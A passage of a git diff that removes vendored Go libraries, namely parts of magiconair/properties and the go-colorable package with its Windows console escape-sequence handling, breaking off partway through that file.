- - return p.FilterRegexp(re), nil -} - -// FilterRegexp returns a new properties object which contains all properties -// for which the key matches the regular expression. -func (p *Properties) FilterRegexp(re *regexp.Regexp) *Properties { - pp := NewProperties() - for _, k := range p.k { - if re.MatchString(k) { - // TODO(fs): we are ignoring the error which flags a circular reference. - // TODO(fs): since we are just copying a subset of keys this cannot happen (fingers crossed) - pp.Set(k, p.m[k]) - } - } - return pp -} - -// FilterPrefix returns a new properties object with a subset of all keys -// with the given prefix. -func (p *Properties) FilterPrefix(prefix string) *Properties { - pp := NewProperties() - for _, k := range p.k { - if strings.HasPrefix(k, prefix) { - // TODO(fs): we are ignoring the error which flags a circular reference. - // TODO(fs): since we are just copying a subset of keys this cannot happen (fingers crossed) - pp.Set(k, p.m[k]) - } - } - return pp -} - -// FilterStripPrefix returns a new properties object with a subset of all keys -// with the given prefix and the prefix removed from the keys. -func (p *Properties) FilterStripPrefix(prefix string) *Properties { - pp := NewProperties() - n := len(prefix) - for _, k := range p.k { - if len(k) > len(prefix) && strings.HasPrefix(k, prefix) { - // TODO(fs): we are ignoring the error which flags a circular reference. - // TODO(fs): since we are modifying keys I am not entirely sure whether we can create a circular reference - // TODO(fs): this function should probably return an error but the signature is fixed - pp.Set(k[n:], p.m[k]) - } - } - return pp -} - -// Len returns the number of keys. -func (p *Properties) Len() int { - return len(p.m) -} - -// Keys returns all keys in the same order as in the input. -func (p *Properties) Keys() []string { - keys := make([]string, len(p.k)) - copy(keys, p.k) - return keys -} - -// Set sets the property key to the corresponding value. -// If a value for key existed before then ok is true and prev -// contains the previous value. If the value contains a -// circular reference or a malformed expression then -// an error is returned. -// An empty key is silently ignored. -func (p *Properties) Set(key, value string) (prev string, ok bool, err error) { - if key == "" { - return "", false, nil - } - - // if expansion is disabled we allow circular references - if p.DisableExpansion { - prev, ok = p.Get(key) - p.m[key] = value - return prev, ok, nil - } - - // to check for a circular reference we temporarily need - // to set the new value. If there is an error then revert - // to the previous state. Only if all tests are successful - // then we add the key to the p.k list. - prev, ok = p.Get(key) - p.m[key] = value - - // now check for a circular reference - _, err = p.expand(value) - if err != nil { - - // revert to the previous state - if ok { - p.m[key] = prev - } else { - delete(p.m, key) - } - - return "", false, err - } - - if !ok { - p.k = append(p.k, key) - } - - return prev, ok, nil -} - -// SetValue sets property key to the default string value -// as defined by fmt.Sprintf("%v"). -func (p *Properties) SetValue(key string, value interface{}) error { - _, _, err := p.Set(key, fmt.Sprintf("%v", value)) - return err -} - -// MustSet sets the property key to the corresponding value. -// If a value for key existed before then ok is true and prev -// contains the previous value. An empty key is silently ignored. -func (p *Properties) MustSet(key, value string) (prev string, ok bool) { - prev, ok, err := p.Set(key, value) - if err != nil { - ErrorHandler(err) - } - return prev, ok -} - -// String returns a string of all expanded 'key = value' pairs. -func (p *Properties) String() string { - var s string - for _, key := range p.k { - value, _ := p.Get(key) - s = fmt.Sprintf("%s%s = %s\n", s, key, value) - } - return s -} - -// Write writes all unexpanded 'key = value' pairs to the given writer. -// Write returns the number of bytes written and any write error encountered. -func (p *Properties) Write(w io.Writer, enc Encoding) (n int, err error) { - return p.WriteComment(w, "", enc) -} - -// WriteComment writes all unexpanced 'key = value' pairs to the given writer. -// If prefix is not empty then comments are written with a blank line and the -// given prefix. The prefix should be either "# " or "! " to be compatible with -// the properties file format. Otherwise, the properties parser will not be -// able to read the file back in. It returns the number of bytes written and -// any write error encountered. -func (p *Properties) WriteComment(w io.Writer, prefix string, enc Encoding) (n int, err error) { - var x int - - for _, key := range p.k { - value := p.m[key] - - if prefix != "" { - if comments, ok := p.c[key]; ok { - // don't print comments if they are all empty - allEmpty := true - for _, c := range comments { - if c != "" { - allEmpty = false - break - } - } - - if !allEmpty { - // add a blank line between entries but not at the top - if len(comments) > 0 && n > 0 { - x, err = fmt.Fprintln(w) - if err != nil { - return - } - n += x - } - - for _, c := range comments { - x, err = fmt.Fprintf(w, "%s%s\n", prefix, encode(c, "", enc)) - if err != nil { - return - } - n += x - } - } - } - } - - x, err = fmt.Fprintf(w, "%s = %s\n", encode(key, " :", enc), encode(value, "", enc)) - if err != nil { - return - } - n += x - } - return -} - -// Map returns a copy of the properties as a map. -func (p *Properties) Map() map[string]string { - m := make(map[string]string) - for k, v := range p.m { - m[k] = v - } - return m -} - -// FilterFunc returns a copy of the properties which includes the values which passed all filters. -func (p *Properties) FilterFunc(filters ...func(k, v string) bool) *Properties { - pp := NewProperties() -outer: - for k, v := range p.m { - for _, f := range filters { - if !f(k, v) { - continue outer - } - pp.Set(k, v) - } - } - return pp -} - -// ---------------------------------------------------------------------------- - -// Delete removes the key and its comments. -func (p *Properties) Delete(key string) { - delete(p.m, key) - delete(p.c, key) - newKeys := []string{} - for _, k := range p.k { - if k != key { - newKeys = append(newKeys, k) - } - } - p.k = newKeys -} - -// Merge merges properties, comments and keys from other *Properties into p -func (p *Properties) Merge(other *Properties) { - for k, v := range other.m { - p.m[k] = v - } - for k, v := range other.c { - p.c[k] = v - } - -outer: - for _, otherKey := range other.k { - for _, key := range p.k { - if otherKey == key { - continue outer - } - } - p.k = append(p.k, otherKey) - } -} - -// ---------------------------------------------------------------------------- - -// check expands all values and returns an error if a circular reference or -// a malformed expression was found. -func (p *Properties) check() error { - for _, value := range p.m { - if _, err := p.expand(value); err != nil { - return err - } - } - return nil -} - -func (p *Properties) expand(input string) (string, error) { - // no pre/postfix -> nothing to expand - if p.Prefix == "" && p.Postfix == "" { - return input, nil - } - - return expand(input, make(map[string]bool), p.Prefix, p.Postfix, p.m) -} - -// expand recursively expands expressions of '(prefix)key(postfix)' to their corresponding values. -// The function keeps track of the keys that were already expanded and stops if it -// detects a circular reference or a malformed expression of the form '(prefix)key'. -func expand(s string, keys map[string]bool, prefix, postfix string, values map[string]string) (string, error) { - start := strings.Index(s, prefix) - if start == -1 { - return s, nil - } - - keyStart := start + len(prefix) - keyLen := strings.Index(s[keyStart:], postfix) - if keyLen == -1 { - return "", fmt.Errorf("malformed expression") - } - - end := keyStart + keyLen + len(postfix) - 1 - key := s[keyStart : keyStart+keyLen] - - // fmt.Printf("s:%q pp:%q start:%d end:%d keyStart:%d keyLen:%d key:%q\n", s, prefix + "..." + postfix, start, end, keyStart, keyLen, key) - - if _, ok := keys[key]; ok { - return "", fmt.Errorf("circular reference") - } - - val, ok := values[key] - if !ok { - val = os.Getenv(key) - } - - // remember that we've seen the key - keys[key] = true - - return expand(s[:start]+val+s[end+1:], keys, prefix, postfix, values) -} - -// encode encodes a UTF-8 string to ISO-8859-1 and escapes some characters. -func encode(s string, special string, enc Encoding) string { - switch enc { - case UTF8: - return encodeUtf8(s, special) - case ISO_8859_1: - return encodeIso(s, special) - default: - panic(fmt.Sprintf("unsupported encoding %v", enc)) - } -} - -func encodeUtf8(s string, special string) string { - v := "" - for pos := 0; pos < len(s); { - r, w := utf8.DecodeRuneInString(s[pos:]) - pos += w - v += escape(r, special) - } - return v -} - -func encodeIso(s string, special string) string { - var r rune - var w int - var v string - for pos := 0; pos < len(s); { - switch r, w = utf8.DecodeRuneInString(s[pos:]); { - case r < 1<<8: // single byte rune -> escape special chars only - v += escape(r, special) - case r < 1<<16: // two byte rune -> unicode literal - v += fmt.Sprintf("\\u%04x", r) - default: // more than two bytes per rune -> can't encode - v += "?" - } - pos += w - } - return v -} - -func escape(r rune, special string) string { - switch r { - case '\f': - return "\\f" - case '\n': - return "\\n" - case '\r': - return "\\r" - case '\t': - return "\\t" - default: - if strings.ContainsRune(special, r) { - return "\\" + string(r) - } - return string(r) - } -} - -func invalidKeyError(key string) error { - return fmt.Errorf("unknown property: %s", key) -} diff --git a/vendor/github.com/magiconair/properties/rangecheck.go b/vendor/github.com/magiconair/properties/rangecheck.go deleted file mode 100644 index 2e907d540b..0000000000 --- a/vendor/github.com/magiconair/properties/rangecheck.go +++ /dev/null @@ -1,31 +0,0 @@ -// Copyright 2017 Frank Schroeder. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package properties - -import ( - "fmt" - "math" -) - -// make this a var to overwrite it in a test -var is32Bit = ^uint(0) == math.MaxUint32 - -// intRangeCheck checks if the value fits into the int type and -// panics if it does not. -func intRangeCheck(key string, v int64) int { - if is32Bit && (v < math.MinInt32 || v > math.MaxInt32) { - panic(fmt.Sprintf("Value %d for key %s out of range", v, key)) - } - return int(v) -} - -// uintRangeCheck checks if the value fits into the uint type and -// panics if it does not. -func uintRangeCheck(key string, v uint64) uint { - if is32Bit && v > math.MaxUint32 { - panic(fmt.Sprintf("Value %d for key %s out of range", v, key)) - } - return uint(v) -} diff --git a/vendor/github.com/mattn/go-colorable/.travis.yml b/vendor/github.com/mattn/go-colorable/.travis.yml deleted file mode 100644 index 98db8f060b..0000000000 --- a/vendor/github.com/mattn/go-colorable/.travis.yml +++ /dev/null @@ -1,9 +0,0 @@ -language: go -go: - - tip - -before_install: - - go get github.com/mattn/goveralls - - go get golang.org/x/tools/cmd/cover -script: - - $HOME/gopath/bin/goveralls -repotoken xnXqRGwgW3SXIguzxf90ZSK1GPYZPaGrw diff --git a/vendor/github.com/mattn/go-colorable/LICENSE b/vendor/github.com/mattn/go-colorable/LICENSE deleted file mode 100644 index 91b5cef30e..0000000000 --- a/vendor/github.com/mattn/go-colorable/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2016 Yasuhiro Matsumoto - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/vendor/github.com/mattn/go-colorable/README.md b/vendor/github.com/mattn/go-colorable/README.md deleted file mode 100644 index 56729a92ca..0000000000 --- a/vendor/github.com/mattn/go-colorable/README.md +++ /dev/null @@ -1,48 +0,0 @@ -# go-colorable - -[![Godoc Reference](https://godoc.org/github.com/mattn/go-colorable?status.svg)](http://godoc.org/github.com/mattn/go-colorable) -[![Build Status](https://travis-ci.org/mattn/go-colorable.svg?branch=master)](https://travis-ci.org/mattn/go-colorable) -[![Coverage Status](https://coveralls.io/repos/github/mattn/go-colorable/badge.svg?branch=master)](https://coveralls.io/github/mattn/go-colorable?branch=master) -[![Go Report Card](https://goreportcard.com/badge/mattn/go-colorable)](https://goreportcard.com/report/mattn/go-colorable) - -Colorable writer for windows. - -For example, most of logger packages doesn't show colors on windows. (I know we can do it with ansicon. But I don't want.) -This package is possible to handle escape sequence for ansi color on windows. - -## Too Bad! - -![](https://raw.githubusercontent.com/mattn/go-colorable/gh-pages/bad.png) - - -## So Good! - -![](https://raw.githubusercontent.com/mattn/go-colorable/gh-pages/good.png) - -## Usage - -```go -logrus.SetFormatter(&logrus.TextFormatter{ForceColors: true}) -logrus.SetOutput(colorable.NewColorableStdout()) - -logrus.Info("succeeded") -logrus.Warn("not correct") -logrus.Error("something error") -logrus.Fatal("panic") -``` - -You can compile above code on non-windows OSs. - -## Installation - -``` -$ go get github.com/mattn/go-colorable -``` - -# License - -MIT - -# Author - -Yasuhiro Matsumoto (a.k.a mattn) diff --git a/vendor/github.com/mattn/go-colorable/colorable_appengine.go b/vendor/github.com/mattn/go-colorable/colorable_appengine.go deleted file mode 100644 index 1f28d773d7..0000000000 --- a/vendor/github.com/mattn/go-colorable/colorable_appengine.go +++ /dev/null @@ -1,29 +0,0 @@ -// +build appengine - -package colorable - -import ( - "io" - "os" - - _ "github.com/mattn/go-isatty" -) - -// NewColorable return new instance of Writer which handle escape sequence. -func NewColorable(file *os.File) io.Writer { - if file == nil { - panic("nil passed instead of *os.File to NewColorable()") - } - - return file -} - -// NewColorableStdout return new instance of Writer which handle escape sequence for stdout. -func NewColorableStdout() io.Writer { - return os.Stdout -} - -// NewColorableStderr return new instance of Writer which handle escape sequence for stderr. -func NewColorableStderr() io.Writer { - return os.Stderr -} diff --git a/vendor/github.com/mattn/go-colorable/colorable_others.go b/vendor/github.com/mattn/go-colorable/colorable_others.go deleted file mode 100644 index 887f203dc7..0000000000 --- a/vendor/github.com/mattn/go-colorable/colorable_others.go +++ /dev/null @@ -1,30 +0,0 @@ -// +build !windows -// +build !appengine - -package colorable - -import ( - "io" - "os" - - _ "github.com/mattn/go-isatty" -) - -// NewColorable return new instance of Writer which handle escape sequence. -func NewColorable(file *os.File) io.Writer { - if file == nil { - panic("nil passed instead of *os.File to NewColorable()") - } - - return file -} - -// NewColorableStdout return new instance of Writer which handle escape sequence for stdout. -func NewColorableStdout() io.Writer { - return os.Stdout -} - -// NewColorableStderr return new instance of Writer which handle escape sequence for stderr. -func NewColorableStderr() io.Writer { - return os.Stderr -} diff --git a/vendor/github.com/mattn/go-colorable/colorable_windows.go b/vendor/github.com/mattn/go-colorable/colorable_windows.go deleted file mode 100644 index e17a5474e9..0000000000 --- a/vendor/github.com/mattn/go-colorable/colorable_windows.go +++ /dev/null @@ -1,884 +0,0 @@ -// +build windows -// +build !appengine - -package colorable - -import ( - "bytes" - "io" - "math" - "os" - "strconv" - "strings" - "syscall" - "unsafe" - - "github.com/mattn/go-isatty" -) - -const ( - foregroundBlue = 0x1 - foregroundGreen = 0x2 - foregroundRed = 0x4 - foregroundIntensity = 0x8 - foregroundMask = (foregroundRed | foregroundBlue | foregroundGreen | foregroundIntensity) - backgroundBlue = 0x10 - backgroundGreen = 0x20 - backgroundRed = 0x40 - backgroundIntensity = 0x80 - backgroundMask = (backgroundRed | backgroundBlue | backgroundGreen | backgroundIntensity) -) - -type wchar uint16 -type short int16 -type dword uint32 -type word uint16 - -type coord struct { - x short - y short -} - -type smallRect struct { - left short - top short - right short - bottom short -} - -type consoleScreenBufferInfo struct { - size coord - cursorPosition coord - attributes word - window smallRect - maximumWindowSize coord -} - -type consoleCursorInfo struct { - size dword - visible int32 -} - -var ( - kernel32 = syscall.NewLazyDLL("kernel32.dll") - procGetConsoleScreenBufferInfo = kernel32.NewProc("GetConsoleScreenBufferInfo") - procSetConsoleTextAttribute = kernel32.NewProc("SetConsoleTextAttribute") - procSetConsoleCursorPosition = kernel32.NewProc("SetConsoleCursorPosition") - procFillConsoleOutputCharacter = kernel32.NewProc("FillConsoleOutputCharacterW") - procFillConsoleOutputAttribute = kernel32.NewProc("FillConsoleOutputAttribute") - procGetConsoleCursorInfo = kernel32.NewProc("GetConsoleCursorInfo") - procSetConsoleCursorInfo = kernel32.NewProc("SetConsoleCursorInfo") - procSetConsoleTitle = kernel32.NewProc("SetConsoleTitleW") -) - -// Writer provide colorable Writer to the console -type Writer struct { - out io.Writer - handle syscall.Handle - oldattr word - oldpos coord -} - -// NewColorable return new instance of Writer which handle escape sequence from File. -func NewColorable(file *os.File) io.Writer { - if file == nil { - panic("nil passed instead of *os.File to NewColorable()") - } - - if isatty.IsTerminal(file.Fd()) { - var csbi consoleScreenBufferInfo - handle := syscall.Handle(file.Fd()) - procGetConsoleScreenBufferInfo.Call(uintptr(handle), uintptr(unsafe.Pointer(&csbi))) - return &Writer{out: file, handle: handle, oldattr: csbi.attributes, oldpos: coord{0, 0}} - } - return file -} - -// NewColorableStdout return new instance of Writer which handle escape sequence for stdout. -func NewColorableStdout() io.Writer { - return NewColorable(os.Stdout) -} - -// NewColorableStderr return new instance of Writer which handle escape sequence for stderr. -func NewColorableStderr() io.Writer { - return NewColorable(os.Stderr) -} - -var color256 = map[int]int{ - 0: 0x000000, - 1: 0x800000, - 2: 0x008000, - 3: 0x808000, - 4: 0x000080, - 5: 0x800080, - 6: 0x008080, - 7: 0xc0c0c0, - 8: 0x808080, - 9: 0xff0000, - 10: 0x00ff00, - 11: 0xffff00, - 12: 0x0000ff, - 13: 0xff00ff, - 14: 0x00ffff, - 15: 0xffffff, - 16: 0x000000, - 17: 0x00005f, - 18: 0x000087, - 19: 0x0000af, - 20: 0x0000d7, - 21: 0x0000ff, - 22: 0x005f00, - 23: 0x005f5f, - 24: 0x005f87, - 25: 0x005faf, - 26: 0x005fd7, - 27: 0x005fff, - 28: 0x008700, - 29: 0x00875f, - 30: 0x008787, - 31: 0x0087af, - 32: 0x0087d7, - 33: 0x0087ff, - 34: 0x00af00, - 35: 0x00af5f, - 36: 0x00af87, - 37: 0x00afaf, - 38: 0x00afd7, - 39: 0x00afff, - 40: 0x00d700, - 41: 0x00d75f, - 42: 0x00d787, - 43: 0x00d7af, - 44: 0x00d7d7, - 45: 0x00d7ff, - 46: 0x00ff00, - 47: 0x00ff5f, - 48: 0x00ff87, - 49: 0x00ffaf, - 50: 0x00ffd7, - 51: 0x00ffff, - 52: 0x5f0000, - 53: 0x5f005f, - 54: 0x5f0087, - 55: 0x5f00af, - 56: 0x5f00d7, - 57: 0x5f00ff, - 58: 0x5f5f00, - 59: 0x5f5f5f, - 60: 0x5f5f87, - 61: 0x5f5faf, - 62: 0x5f5fd7, - 63: 0x5f5fff, - 64: 0x5f8700, - 65: 0x5f875f, - 66: 0x5f8787, - 67: 0x5f87af, - 68: 0x5f87d7, - 69: 0x5f87ff, - 70: 0x5faf00, - 71: 0x5faf5f, - 72: 0x5faf87, - 73: 0x5fafaf, - 74: 0x5fafd7, - 75: 0x5fafff, - 76: 0x5fd700, - 77: 0x5fd75f, - 78: 0x5fd787, - 79: 0x5fd7af, - 80: 0x5fd7d7, - 81: 0x5fd7ff, - 82: 0x5fff00, - 83: 0x5fff5f, - 84: 0x5fff87, - 85: 0x5fffaf, - 86: 0x5fffd7, - 87: 0x5fffff, - 88: 0x870000, - 89: 0x87005f, - 90: 0x870087, - 91: 0x8700af, - 92: 0x8700d7, - 93: 0x8700ff, - 94: 0x875f00, - 95: 0x875f5f, - 96: 0x875f87, - 97: 0x875faf, - 98: 0x875fd7, - 99: 0x875fff, - 100: 0x878700, - 101: 0x87875f, - 102: 0x878787, - 103: 0x8787af, - 104: 0x8787d7, - 105: 0x8787ff, - 106: 0x87af00, - 107: 0x87af5f, - 108: 0x87af87, - 109: 0x87afaf, - 110: 0x87afd7, - 111: 0x87afff, - 112: 0x87d700, - 113: 0x87d75f, - 114: 0x87d787, - 115: 0x87d7af, - 116: 0x87d7d7, - 117: 0x87d7ff, - 118: 0x87ff00, - 119: 0x87ff5f, - 120: 0x87ff87, - 121: 0x87ffaf, - 122: 0x87ffd7, - 123: 0x87ffff, - 124: 0xaf0000, - 125: 0xaf005f, - 126: 0xaf0087, - 127: 0xaf00af, - 128: 0xaf00d7, - 129: 0xaf00ff, - 130: 0xaf5f00, - 131: 0xaf5f5f, - 132: 0xaf5f87, - 133: 0xaf5faf, - 134: 0xaf5fd7, - 135: 0xaf5fff, - 136: 0xaf8700, - 137: 0xaf875f, - 138: 0xaf8787, - 139: 0xaf87af, - 140: 0xaf87d7, - 141: 0xaf87ff, - 142: 0xafaf00, - 143: 0xafaf5f, - 144: 0xafaf87, - 145: 0xafafaf, - 146: 0xafafd7, - 147: 0xafafff, - 148: 0xafd700, - 149: 0xafd75f, - 150: 0xafd787, - 151: 0xafd7af, - 152: 0xafd7d7, - 153: 0xafd7ff, - 154: 0xafff00, - 155: 0xafff5f, - 156: 0xafff87, - 157: 0xafffaf, - 158: 0xafffd7, - 159: 0xafffff, - 160: 0xd70000, - 161: 0xd7005f, - 162: 0xd70087, - 163: 0xd700af, - 164: 0xd700d7, - 165: 0xd700ff, - 166: 0xd75f00, - 167: 0xd75f5f, - 168: 0xd75f87, - 169: 0xd75faf, - 170: 0xd75fd7, - 171: 0xd75fff, - 172: 0xd78700, - 173: 0xd7875f, - 174: 0xd78787, - 175: 0xd787af, - 176: 0xd787d7, - 177: 0xd787ff, - 178: 0xd7af00, - 179: 0xd7af5f, - 180: 0xd7af87, - 181: 0xd7afaf, - 182: 0xd7afd7, - 183: 0xd7afff, - 184: 0xd7d700, - 185: 0xd7d75f, - 186: 0xd7d787, - 187: 0xd7d7af, - 188: 0xd7d7d7, - 189: 0xd7d7ff, - 190: 0xd7ff00, - 191: 0xd7ff5f, - 192: 0xd7ff87, - 193: 0xd7ffaf, - 194: 0xd7ffd7, - 195: 0xd7ffff, - 196: 0xff0000, - 197: 0xff005f, - 198: 0xff0087, - 199: 0xff00af, - 200: 0xff00d7, - 201: 0xff00ff, - 202: 0xff5f00, - 203: 0xff5f5f, - 204: 0xff5f87, - 205: 0xff5faf, - 206: 0xff5fd7, - 207: 0xff5fff, - 208: 0xff8700, - 209: 0xff875f, - 210: 0xff8787, - 211: 0xff87af, - 212: 0xff87d7, - 213: 0xff87ff, - 214: 0xffaf00, - 215: 0xffaf5f, - 216: 0xffaf87, - 217: 0xffafaf, - 218: 0xffafd7, - 219: 0xffafff, - 220: 0xffd700, - 221: 0xffd75f, - 222: 0xffd787, - 223: 0xffd7af, - 224: 0xffd7d7, - 225: 0xffd7ff, - 226: 0xffff00, - 227: 0xffff5f, - 228: 0xffff87, - 229: 0xffffaf, - 230: 0xffffd7, - 231: 0xffffff, - 232: 0x080808, - 233: 0x121212, - 234: 0x1c1c1c, - 235: 0x262626, - 236: 0x303030, - 237: 0x3a3a3a, - 238: 0x444444, - 239: 0x4e4e4e, - 240: 0x585858, - 241: 0x626262, - 242: 0x6c6c6c, - 243: 0x767676, - 244: 0x808080, - 245: 0x8a8a8a, - 246: 0x949494, - 247: 0x9e9e9e, - 248: 0xa8a8a8, - 249: 0xb2b2b2, - 250: 0xbcbcbc, - 251: 0xc6c6c6, - 252: 0xd0d0d0, - 253: 0xdadada, - 254: 0xe4e4e4, - 255: 0xeeeeee, -} - -// `\033]0;TITLESTR\007` -func doTitleSequence(er *bytes.Reader) error { - var c byte - var err error - - c, err = er.ReadByte() - if err != nil { - return err - } - if c != '0' && c != '2' { - return nil - } - c, err = er.ReadByte() - if err != nil { - return err - } - if c != ';' { - return nil - } - title := make([]byte, 0, 80) - for { - c, err = er.ReadByte() - if err != nil { - return err - } - if c == 0x07 || c == '\n' { - break - } - title = append(title, c) - } - if len(title) > 0 { - title8, err := syscall.UTF16PtrFromString(string(title)) - if err == nil { - procSetConsoleTitle.Call(uintptr(unsafe.Pointer(title8))) - } - } - return nil -} - -// Write write data on console -func (w *Writer) Write(data []byte) (n int, err error) { - var csbi consoleScreenBufferInfo - procGetConsoleScreenBufferInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&csbi))) - - er := bytes.NewReader(data) - var bw [1]byte -loop: - for { - c1, err := er.ReadByte() - if err != nil { - break loop - } - if c1 != 0x1b { - bw[0] = c1 - w.out.Write(bw[:]) - continue - } - c2, err := er.ReadByte() - if err != nil { - break loop - } - - if c2 == ']' { - if err := doTitleSequence(er); err != nil { - break loop - } - continue - } - if c2 != 0x5b { - continue - } - - var buf bytes.Buffer - var m byte - for { - c, err := er.ReadByte() - if err != nil { - break loop - } - if ('a' <= c && c <= 'z') || ('A' <= c && c <= 'Z') || c == '@' { - m = c - break - } - buf.Write([]byte(string(c))) - } - - switch m { - case 'A': - n, err = strconv.Atoi(buf.String()) - if err != nil { - continue - } - procGetConsoleScreenBufferInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&csbi))) - csbi.cursorPosition.y -= short(n) - procSetConsoleCursorPosition.Call(uintptr(w.handle), *(*uintptr)(unsafe.Pointer(&csbi.cursorPosition))) - case 'B': - n, err = strconv.Atoi(buf.String()) - if err != nil { - continue - } - procGetConsoleScreenBufferInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&csbi))) - csbi.cursorPosition.y += short(n) - procSetConsoleCursorPosition.Call(uintptr(w.handle), *(*uintptr)(unsafe.Pointer(&csbi.cursorPosition))) - case 'C': - n, err = strconv.Atoi(buf.String()) - if err != nil { - continue - } - procGetConsoleScreenBufferInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&csbi))) - csbi.cursorPosition.x += short(n) - procSetConsoleCursorPosition.Call(uintptr(w.handle), *(*uintptr)(unsafe.Pointer(&csbi.cursorPosition))) - case 'D': - n, err = strconv.Atoi(buf.String()) - if err != nil { - continue - } - procGetConsoleScreenBufferInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&csbi))) - csbi.cursorPosition.x -= short(n) - procSetConsoleCursorPosition.Call(uintptr(w.handle), *(*uintptr)(unsafe.Pointer(&csbi.cursorPosition))) - case 'E': - n, err = strconv.Atoi(buf.String()) - if err != nil { - continue - } - procGetConsoleScreenBufferInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&csbi))) - csbi.cursorPosition.x = 0 - csbi.cursorPosition.y += short(n) - procSetConsoleCursorPosition.Call(uintptr(w.handle), *(*uintptr)(unsafe.Pointer(&csbi.cursorPosition))) - case 'F': - n, err = strconv.Atoi(buf.String()) - if err != nil { - continue - } - procGetConsoleScreenBufferInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&csbi))) - csbi.cursorPosition.x = 0 - csbi.cursorPosition.y -= short(n) - procSetConsoleCursorPosition.Call(uintptr(w.handle), *(*uintptr)(unsafe.Pointer(&csbi.cursorPosition))) - case 'G': - n, err = strconv.Atoi(buf.String()) - if err != nil { - continue - } - procGetConsoleScreenBufferInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&csbi))) - csbi.cursorPosition.x = short(n - 1) - procSetConsoleCursorPosition.Call(uintptr(w.handle), *(*uintptr)(unsafe.Pointer(&csbi.cursorPosition))) - case 'H', 'f': - procGetConsoleScreenBufferInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&csbi))) - if buf.Len() > 0 { - token := strings.Split(buf.String(), ";") - switch len(token) { - case 1: - n1, err := strconv.Atoi(token[0]) - if err != nil { - continue - } - csbi.cursorPosition.y = short(n1 - 1) - case 2: - n1, err := strconv.Atoi(token[0]) - if err != nil { - continue - } - n2, err := strconv.Atoi(token[1]) - if err != nil { - continue - } - csbi.cursorPosition.x = short(n2 - 1) - csbi.cursorPosition.y = short(n1 - 1) - } - } else { - csbi.cursorPosition.y = 0 - } - procSetConsoleCursorPosition.Call(uintptr(w.handle), *(*uintptr)(unsafe.Pointer(&csbi.cursorPosition))) - case 'J': - n := 0 - if buf.Len() > 0 { - n, err = strconv.Atoi(buf.String()) - if err != nil { - continue - } - } - var count, written dword - var cursor coord - procGetConsoleScreenBufferInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&csbi))) - switch n { - case 0: - cursor = coord{x: csbi.cursorPosition.x, y: csbi.cursorPosition.y} - count = dword(csbi.size.x - csbi.cursorPosition.x + (csbi.size.y-csbi.cursorPosition.y)*csbi.size.x) - case 1: - cursor = coord{x: csbi.window.left, y: csbi.window.top} - count = dword(csbi.size.x - csbi.cursorPosition.x + (csbi.window.top-csbi.cursorPosition.y)*csbi.size.x) - case 2: - cursor = coord{x: csbi.window.left, y: csbi.window.top} - count = dword(csbi.size.x - csbi.cursorPosition.x + (csbi.size.y-csbi.cursorPosition.y)*csbi.size.x) - } - procFillConsoleOutputCharacter.Call(uintptr(w.handle), uintptr(' '), uintptr(count), *(*uintptr)(unsafe.Pointer(&cursor)), uintptr(unsafe.Pointer(&written))) - procFillConsoleOutputAttribute.Call(uintptr(w.handle), uintptr(csbi.attributes), uintptr(count), *(*uintptr)(unsafe.Pointer(&cursor)), uintptr(unsafe.Pointer(&written))) - case 'K': - n := 0 - if buf.Len() > 0 { - n, err = strconv.Atoi(buf.String()) - if err != nil { - continue - } - } - procGetConsoleScreenBufferInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&csbi))) - var cursor coord - var count, written dword - switch n { - case 0: - cursor = coord{x: csbi.cursorPosition.x + 1, y: csbi.cursorPosition.y} - count = dword(csbi.size.x - csbi.cursorPosition.x - 1) - case 1: - cursor = coord{x: csbi.window.left, y: csbi.window.top + csbi.cursorPosition.y} - count = dword(csbi.size.x - csbi.cursorPosition.x) - case 2: - cursor = coord{x: csbi.window.left, y: csbi.window.top + csbi.cursorPosition.y} - count = dword(csbi.size.x) - } - procFillConsoleOutputCharacter.Call(uintptr(w.handle), uintptr(' '), uintptr(count), *(*uintptr)(unsafe.Pointer(&cursor)), uintptr(unsafe.Pointer(&written))) - procFillConsoleOutputAttribute.Call(uintptr(w.handle), uintptr(csbi.attributes), uintptr(count), *(*uintptr)(unsafe.Pointer(&cursor)), uintptr(unsafe.Pointer(&written))) - case 'm': - procGetConsoleScreenBufferInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&csbi))) - attr := csbi.attributes - cs := buf.String() - if cs == "" { - procSetConsoleTextAttribute.Call(uintptr(w.handle), uintptr(w.oldattr)) - continue - } - token := strings.Split(cs, ";") - for i := 0; i < len(token); i++ { - ns := token[i] - if n, err = strconv.Atoi(ns); err == nil { - switch { - case n == 0 || n == 100: - attr = w.oldattr - case 1 <= n && n <= 5: - attr |= foregroundIntensity - case n == 7: - attr = ((attr & foregroundMask) << 4) | ((attr & backgroundMask) >> 4) - case n == 22 || n == 25: - attr |= foregroundIntensity - case n == 27: - attr = ((attr & foregroundMask) << 4) | ((attr & backgroundMask) >> 4) - case 30 <= n && n <= 37: - attr &= backgroundMask - if 